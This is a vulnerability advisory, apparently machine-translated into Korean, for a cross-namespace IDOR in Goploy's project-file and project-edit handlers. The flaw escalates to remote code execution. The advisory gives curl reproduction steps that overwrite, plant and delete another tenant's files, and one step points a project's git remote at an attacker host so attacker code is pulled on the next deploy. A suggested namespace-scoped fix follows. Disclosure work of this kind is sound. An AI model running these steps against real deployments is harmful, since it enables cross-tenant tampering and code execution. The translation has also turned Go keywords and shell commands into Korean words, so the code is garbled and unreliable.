Goploy: 프로젝트 및 project_file 핸들러에서 본문 제공 행 ID를 통한 네임스페이스 간 IDOR 및 RCE
cmd/server/api/project/handler.go의 Project.AddFile, Project.EditFile, Project.RemoveFile 및 Project.Edit은 JSON 본문에서 프로젝트 또는 프로젝트 파일 행 ID를 수락하고 프로젝트가 호출자의 네임스페이스에 속하는지 확인하지 않고 이에 대한 작업을 수행합니다. 해당 'model.ProjectFile.GetData' 및 'model.Project.GetData' 쿼리는 행 ID로만 필터링합니다. 자신의 네임스페이스에서 manager 역할(또는 FileSync / EditProject 권한을 포함하는 모든 역할)을 보유한 사용자는 설치 전반에 걸쳐 모든 프로젝트의 파일을 읽고, 쓰고, 삭제할 수 있으며, 본문에 외부 ID를 제출하여 모든 프로젝트의 git 원격 URL을 다시 작성할 수 있습니다. git-URL 기본 요소는 Edit이 프로젝트 작업 트리에서 git remote set-url을 실행하기 때문에 다음 배포 시 RCE로 에스컬레이션됩니다.
2026-05-27 기준 zhenorzz/goploy 개발 HEAD. zhenorzz/goploy:1.17.5 Docker 이미지(docker.io/zhenorzz/goploy@sha256:69d08e1d16d7a7167426c89456c4bcef8e077a16554a4067ff258fff26d5cd44)에 대해 확인되었습니다.
4개의 핸들러와 모델 조회는 파일 API와 프로젝트 메타데이터 API 전체에서 이 형태로 이루어졌습니다.
cmd/server/api/project/handler.go::AddFile(모든 프로젝트 디렉터리 아래에 파일 생성, 본문은 projectId 제어):
``가다
func(프로젝트) AddFile(gp *server.Goploy) server.Response {
ReqData 구조체 유형 {
ProjectID int64 json:"projectId" 유효성 검사:"required,gt=0"
콘텐츠 문자열 json:"content" 유효성 검사:"required"
파일 이름 문자열 json:"filename" 유효성 검사:"required"
}
var reqData 요청 데이터
if err := gp.Decode(&reqData); 오류 != 없음 { ... }
filePath := path.Join(config.GetProjectFilePath(reqData.ProjectID), reqData.Filename)
// ... os.Create(filePath); 파일.쓰기문자열(reqData.Content)
id, err := model.ProjectFile{ProjectID: reqData.ProjectID, 파일 이름: reqData.Filename}.AddRow()
}
`cmd/server/api/project/handler.go::EditFile`(파일 내용을 덮어씁니다. 본문은 파일 ID를 제어하고 서버는 파일 행에서 프로젝트를 파생시킵니다):
``가다
func(프로젝트) EditFile(gp *server.Goploy) server.Response {
ReqData 구조체 유형 {
ID int64 `json:"id" 유효성 검사:"required,gt=0"`
콘텐츠 문자열 `json:"content" 유효성 검사:"required"`
}
var reqData 요청 데이터
if err := gp.Decode(&reqData); 오류 != 없음 { ... }
projectFileData, err := model.ProjectFile{ID: reqData.ID}.GetData()
// ... os.Create(path.Join(config.GetProjectFilePath(projectFileData.ProjectID), projectFileData.Filename))
파일.쓰기문자열(reqData.Content)
}
cmd/server/api/project/handler.go::RemoveFile(본문 ID를 기준으로 파일 행 + 디스크에 있는 파일 삭제):
``가다
func(프로젝트) RemoveFile(gp *server.Goploy) server.Response {
ReqData 구조체 유형 {
ProjectFileID int64 json:"projectFileId" 유효성 검사:"required,gt=0"
}
var reqData 요청 데이터
if err := gp.Decode(&reqData); 오류 != 없음 { ... }
projectFileData, err := model.ProjectFile{ID: reqData.ProjectFileID}.GetData()
if err := os.Remove(path.Join(config.GetProjectFilePath(projectFileData.ProjectID), projectFileData.Filename)); 오류 != 없음 { ... }
}
`cmd/server/api/project/handler.go::Edit`(모든 프로젝트의 메타데이터를 업데이트합니다. URL 변경 시 프로젝트 작업 트리에서 `git remote set-url`을 실행합니다.):
``가다
func(프로젝트) Edit(gp *server.Goploy) server.Response {
// ... ReqData에는 ID, 이름, URL, 지점, 스크립트 등이 있습니다.
projectData, err := model.Project{ID: reqData.ID}.GetData()
model.Project{ID: reqData.ID, 이름: reqData.Name, URL: reqData.URL, ...}.EditRow()
reqData.URL != projectData.URL인 경우 {
srcPath := config.GetProjectPath(projectData.ID)
cmd := exec.Command("git", "remote", "set-url", "origin", reqData.URL)
cmd.Dir = srcPath
}
}
internal/model/project_file.go::ProjectFile.GetData는 행 ID로만 필터링하고 네임스페이스 조인은 사용하지 않습니다.
``가다 func (pf ProjectFile) GetData() (ProjectFile, 오류) { 오류 := 평방 선택("id, project_id, 파일 이름, insert_time, update_time"). (프로젝트파일테이블)에서. 여기서(sq.Eq{"id": pf.ID}). ... }
`internal/server/route.go::Route.hasPermission`은 네임스페이스 수준 권한 ID만 확인합니다. 요청 흐름에서 본문 제공 프로젝트 ID가 `gp.Namespace.ID`에 속하는지 확인하는 내용은 없습니다.
``가다
func(r Route) hasPermission(permissionIDs map[int64]struct{}) error {
len(r.permissionIDs) == 0인 경우 { nil 반환 }
_, 허가 ID := 범위 r.permissionIDs {
_이면 ok :=PermissionIDs[permissionID]; 알았어 { 반환 없음 }
}
오류를 반환합니다.New("권한 없음")
}
자신의 네임스페이스에서 manager 역할이 할당된 로그인한 사용자는 /project/addFile, /project/editFile, /project/removeFile 및 /project/edit을 호출할 수 있습니다. 시드된 manager 역할(role.id = 1)에는 database/goploy.sql에 의해 FileSync(permission.id = 68)와 EditProject(permission.id = 17)가 모두 부여됩니다. 다중 테넌트 배포에서는 일반적으로 각 테넌트의 프로젝트 소유자에게 '관리자'를 할당합니다. 테넌트의 관리자가 자신의 네임스페이스에 이러한 권한을 보유하면 이 4개의 엔드포인트에 대해 전역적으로 해당 권한을 보유하게 됩니다.
게시된 Docker 이미지에 대해 설정합니다.
``배쉬
도커 네트워크는 goploy-net을 생성합니다
docker run -d --name goploy-mysql --network goploy-net
-e MYSQL_ROOT_PASSWORD=goploy123 -e MYSQL_DATABASE=goploy
mysql:8.0 --default-authentication-plugin=mysql_native_password
도커 CP 데이터베이스/goploy.sql goploy-mysql:/tmp/goploy.sql docker exec goploy-mysql sh -c 'mysql -uroot -pgoploy123 goploy < /tmp/goploy.sql'
docker run -d --name goploy-app --network goploy-net -p 18080:80
-v $PWD/repo:/opt/goploy/repository
zhenorzz/goploy:1.17.5
두 개의 네임스페이스와 두 명의 슈퍼 관리자가 아닌 사용자를 설정합니다. 각 사용자는 자신의 네임스페이스에만 `manager`(role_id=1)를 할당합니다.
``배쉬
# 관리자 로그인 (기본 계정 admin / admin!@#은 최초 로그인 변경 필요)
컬 -s -c /tmp/admin.jar -X POST http://localhost:18080/user/login \
-H '콘텐츠 유형: 애플리케이션/json' \
-d '{"account":"admin","password":"admin!@#","newPassword":"Admin!@#2026"}'
ADMIN_HDR='-b /tmp/admin.jar -H G-N-ID:1 -H Content-Type:application/json'
# NS_B 생성
컬 -s $ADMIN_HDR -X POST http://localhost:18080/namespace/add -d '{"name":"ns_b"}'
# → {"데이터":{"id":2}}
# alice(id=2)와 bob(id=3)을 생성합니다.
컬 -s $ADMIN_HDR -X POST http://localhost:18080/user/add \
-d '{"계정":"앨리스","비밀번호":"앨리스!@#2026","이름":"앨리스","연락처":"","superManager":0}'
컬 -s $ADMIN_HDR -X POST http://localhost:18080/user/add \
-d '{"계정":"bob","password":"Bob!@#2026","name":"Bob","연락처":"","superManager":0}'
# alice → NS_A (id=1), bob → NS_B (id=2), 둘 다 관리자로 할당 (role_id=1)
컬 -s $ADMIN_HDR -X POST http://localhost:18080/namespace/addUser \
-d '{"namespaceId":1,"userIds":[2],"roleId":1}'
컬 -s $ADMIN_HDR -X POST http://localhost:18080/namespace/addUser \
-d '{"namespaceId":2,"userIds":[3],"roleId":1}'
# NS_A의 관리자로서 alice-secrets.yml(id=1) 파일을 사용하여 alice-prod(id=1) 프로젝트를 생성합니다.
컬 -s $ADMIN_HDR -X POST http://localhost:18080/project/add \
-d '{"이름":"alice-prod","repoType":"git","url":"https://github.com/zhenorzz/goploy.git",
"경로":"/tmp/deploy/alice","환경":1,"분기":"마스터","transferType":"rsync",
"transferOption":"-rtv","deployServerMode":"직렬",
"script":{"afterPull":{"mode":"","content":""},"afterDeploy":{"mode":"","content":""},
"deployFinish":{"mode":"","content":""}}}'
컬 -s $ADMIN_HDR -X POST http://localhost:18080/project/addFile \
-d '{"projectId":1,"filename":"alice-secrets.yml","content":"# Alice 비밀\napi_key: ALICE_API_KEY_2026\n"}'
# Bob이 로그인합니다(첫 번째 로그인 변경).
컬 -s -c /tmp/bob.jar -X POST http://localhost:18080/user/login \
-H '콘텐츠 유형: 애플리케이션/json' \
-d '{"계정":"bob","password":"Bob!@#2026","newPassword":"BobBob!@#2026"}'
BOB_HDR='-b /tmp/bob.jar -H G-N-ID:2 -H Content-Type:application/json'
부정적인 컨트롤: Bob의 자체 네임스페이스에는 프로젝트가 없습니다.
``배쉬 컬 -s $BOB_HDR "http://localhost:18080/project/getList?page=1&rows=100"
취약점 1 - Bob은 Alice의 파일 내용을 덮어씁니다.
``배쉬
컬 -s $BOB_HDR -X PUT http://localhost:18080/project/editFile \
-d '{"id":1,"content":"BOB이 소유함\nattacker_namespace: ns_b\n"}'
# → {"code":0,"message":"","data":null}
docker exec goploy-app cat /opt/goploy/repository/repository/project-file/project_1/alice-secrets.yml
# 밥이 소유함
# 공격자_네임스페이스: ns_b
취약점 2 — Bob은 Alice의 프로젝트 디렉터리에 새 파일을 심습니다.
``배쉬
컬 -s $BOB_HDR -X POST http://localhost:18080/project/addFile
-d '{"projectId":1,"filename":".env.attacker","content":"PWN=bob_from_ns_b"}'
docker exec goploy-app ls /opt/goploy/repository/repository/project-file/project_1/
취약점 3 - Bob이 Alice의 파일을 삭제합니다.
``배쉬
컬 -s $BOB_HDR -X 삭제 http://localhost:18080/project/removeFile \
-d '{"projectFileId":1}'
# → {"code":0,"message":"","data":null}
# alice-secrets.yml이 project_1/에서 사라졌습니다.
취약점 4 — Bob은 Alice의 프로젝트 git 원격 URL을 다시 작성합니다. 다음 배포에서 goploy는 git -C <alice-prod-tree> 원격 set-url Origin <attacker-url>을 실행하고 공격자 코드를 복제/풀하여 goploy 사용자의 RCE로 이어집니다.
``배쉬
컬 -s $BOB_HDR -X PUT http://localhost:18080/project/edit
-d '{"id":1,"name":"alice-prod","repoType":"git",
"url":"git@evil.example.com:attacker/payload.git",
"경로":"/tmp/deploy/alice","환경":1,"분기":"마스터",
"transferType":"rsync","transferOption":"-rtv","deployServerMode":"serial",
"script":{"afterPull":{"mode":"","content":""},"afterDeploy":{"mode":"","content":""},
"deployFinish":{"mode":"","content":""}}}'
docker exec goploy-mysql mysql -uroot -pgoploy123 goploy
-e "이름 선택, ID=1인 프로젝트의 URL;"
긍정적인 제어: Bob이 자신의 네임스페이스에서 파일을 편집하는 경우(파일을 만든 후) 동일한 코드 경로를 거쳐 정상적으로 성공합니다. 패치는 계속 작동해야 합니다.
### 제안된 수정 사항
모델 계층에 `(id, 네임스페이스_id)`가 필요하도록 `GetData`의 네임스페이스 범위 변형을 추가하고 4개의 핸들러를 전환합니다.
`내부/모델/프로젝트_파일.go`:
``가다
func (pf ProjectFile) GetDataInNamespace(namespaceID int64) (ProjectFile, 오류) {
var 프로젝트파일 프로젝트파일
오류 := 평방
선택("pf.id, pf.project_id, pf.filename, pf.insert_time, pf.update_time").
From(projectFileTable + " pf").
Join("프로젝트 p ON p.id = pf.project_id").
여기서(sq.Eq{"pf.id": pf.ID, "p.namespace_id": 네임스페이스ID}).
RunWith(DB).
쿼리행().
스캔(&projectFile.ID, &projectFile.ProjectID, &projectFile.파일 이름,
&projectFile.InsertTime, &projectFile.UpdateTime)
프로젝트 파일 반환, 오류
}
internal/model/project.go: namespace_id에 조인되는 병렬 Project.GetDataInNamespace를 추가합니다.
cmd/서버/api/project/handler.go:
EditFile 및 RemoveFile은 model.ProjectFile{ID: ...}.GetDataInNamespace(gp.Namespace.ID)로 전환됩니다.AddFile은 os.Create 및 AddRow 전에 새로운 model.Project{ID: reqData.ProjectID}.GetDataInNamespace(gp.Namespace.ID) 사전 확인을 호출합니다.Edit은 EditRow 전에 model.Project{ID: reqData.ID}.GetDataInNamespace(gp.Namespace.ID)를 호출합니다.네임스페이스 범위 조회의 sql.ErrNoRows는 모든 네임스페이스 간 ID에 대한 올바른 거부가 됩니다. 이 파일의 다른 body-id 소비자(Remove, SetAutoDeploy, UploadFile, AddTask, EditProcess 등)에도 동일한 패턴을 적용해야 하지만 위의 4개 엔드포인트는 즉시 악용될 수 있습니다.
https://github.com/zhenorzz/goploy-ghsa-26rh-24rg-j3vv/pull/1에 제안된 수정 사항입니다. PR diff는 네임스페이스 범위 모델 변형을 추가하고 이를 사용하도록 노출된 4개의 핸들러를 전환합니다.
tonghuaroot가 보고했습니다.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 96.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 96.00 |
VPI 공식 vpi-v1 기준